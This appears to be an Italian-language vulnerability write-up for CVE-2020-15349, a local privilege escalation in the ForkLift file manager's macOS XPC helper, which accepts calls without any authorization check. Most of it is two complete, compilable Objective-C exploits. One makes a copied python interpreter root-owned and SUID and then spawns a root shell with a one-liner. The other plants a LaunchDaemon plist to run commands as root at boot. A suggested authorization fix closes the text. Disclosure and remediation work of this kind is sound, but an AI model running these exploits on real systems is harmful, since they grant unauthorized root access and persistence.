traxes/forklift_lpeDescrizione della vulnerabilità di CVE-2020-15349
Quando si installa Forklift, un nuovo helper chiamato com.binarynights.ForkLiftHelper per Mac OS X viene automaticamente installato nella directory /Library/PrivilegedHelperTools/.
Analizzando questo helper, che gestisce messaggi XPC, sono emersi diversi modi per elevare i privilegi da utente a root su Mac OS X.
Quando accetta chiamate XPC, la funzione HelperTool listener:shouldAcceptNewConnection rispettivamente (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection viene utilizzata per impostazione predefinita. Questa funzione viene usata per eseguire i passi iniziali per stabilire una connessione XPC. Di solito, questa funzione esegue l'autorizzazione del chiamante—tuttavia, la funzione di com.binarynights.ForkLiftHelper non implementa alcun controllo di autorizzazione. Pertanto, è possibile chiamare qualsiasi funzione esposta tramite XPC senza autorizzazione.
Le seguenti funzioni sono esposte tramite XPC al chiamante:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
Il primo metodo per sfruttare questo helper è il seguente:
Copiare, ad esempio, l'interprete python in una directory controllabile dall'utente e chiamare la funzione XPC changeOwner con il parametro @\"<path>\" owner:0 group:0. Questo cambierà la proprietà dell'interprete python in root.
In secondo luogo, è possibile impostare il bit SUID sull'interprete inviando una richiesta XPC alla funzione changePermissions con il seguente parametro @\"<path>\" permissions:2541. I permessi 2541 rappresentano in ottale il numero 4755, che imposta il flag SUID sul binario.
Il seguente comando avvierà una shell come root:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
Assicurati di aver prima copiato un interprete python in /tmp con il nome python_copied.
Il seguente exploit mostra questa LPE:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
Il secondo metodo per sfruttare questo helper è il seguente:
Grazie alla chiamata XPC moveItem è possibile spostare qualsiasi elemento come root. Pertanto, è possibile scrivere un file plist nella directory /tmp e quindi copiarlo nella directory /Library/LaunchDaemons/. I seguenti parametri vengono utilizzati per la funzione moveItem: @\"/tmp/com.sample.Load.plist\" targetPath:@\"/Library/LaunchDaemons/com.sample.Load.plist\"
Il seguente codice aggiungerà automaticamente un nuovo launch agent che viene attivato al riavvio:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
"<plist version=\"1.0\">"
"<dict>"
" <key>Label</key>"
" <string>com.sample.Load</string>"
" <key>ProgramArguments</key>"
" <array>"
" <string>/bin/zsh</string>"
" <string>-c</string>"
" <string>touch /Library/foobar.txt</string>"
" </array>"
" <key>RunAtLoad</key>"
" <true/>"
"</dict>"
"</plist>";
[my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
Si raccomanda di imporre l'autorizzazione quando si chiama l'helper XPC.
Questi controlli di autorizzazione dovrebbero includere:
Un'ottima risorsa per i controlli di autorizzazione si trova nella fonte [1].
Il seguente esempio di funzione shouldAcceptNewConnecton mostra le diverse fasi dei controlli di autorizzazione corretti:
@interface NSXPCConnection(PrivateAuditToken)
// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;
@end
// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
audit_token_t auditToken = connection.auditToken;
NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
SecCodeRef code = NULL;
if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
return NO;
}
// Before checking the requirement make sure that code signing flags
// CS_HARD and CS_KILL are set. Dynamic code signature checks can only
// check the code pages already swapped into memory, so make sure that
// no malicious code can be loaded at a later time. You may want to
// disable this check in debug builds.
CFDictionaryRef csInfo = NULL;
if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
return NO;
} else {
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
CFRelease(csInfo);
const uint32_t cs_hard = 0x100; // don't load invalid pages
const uint32_t cs_kill = 0x200; // kill process if page is invalid
const uint32_t cs_restrict = 0x800; // prevent debugging
const uint32_t cs_require_lv = 0x2000; // Library Validation
const uint32_t cs_runtime = 0x10000; // hardened runtime
if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
// add all flags to check which are in your code signature!
// In particular, we recommend cs_require_lv and cs_restrict.
return NO; // Not accepted because it can be tampered with
}
}
NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
SecRequirementRef requirement = NULL;
// Check at least the peer's TeamID, e.g.
// "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
abort(); // error in requirement string
}
OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
CFRelease(code);
CFRelease(requirement);
if (status != errSecSuccess) {
return NO;
}
// further initialization of connection goes here...
return YES;
}
[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/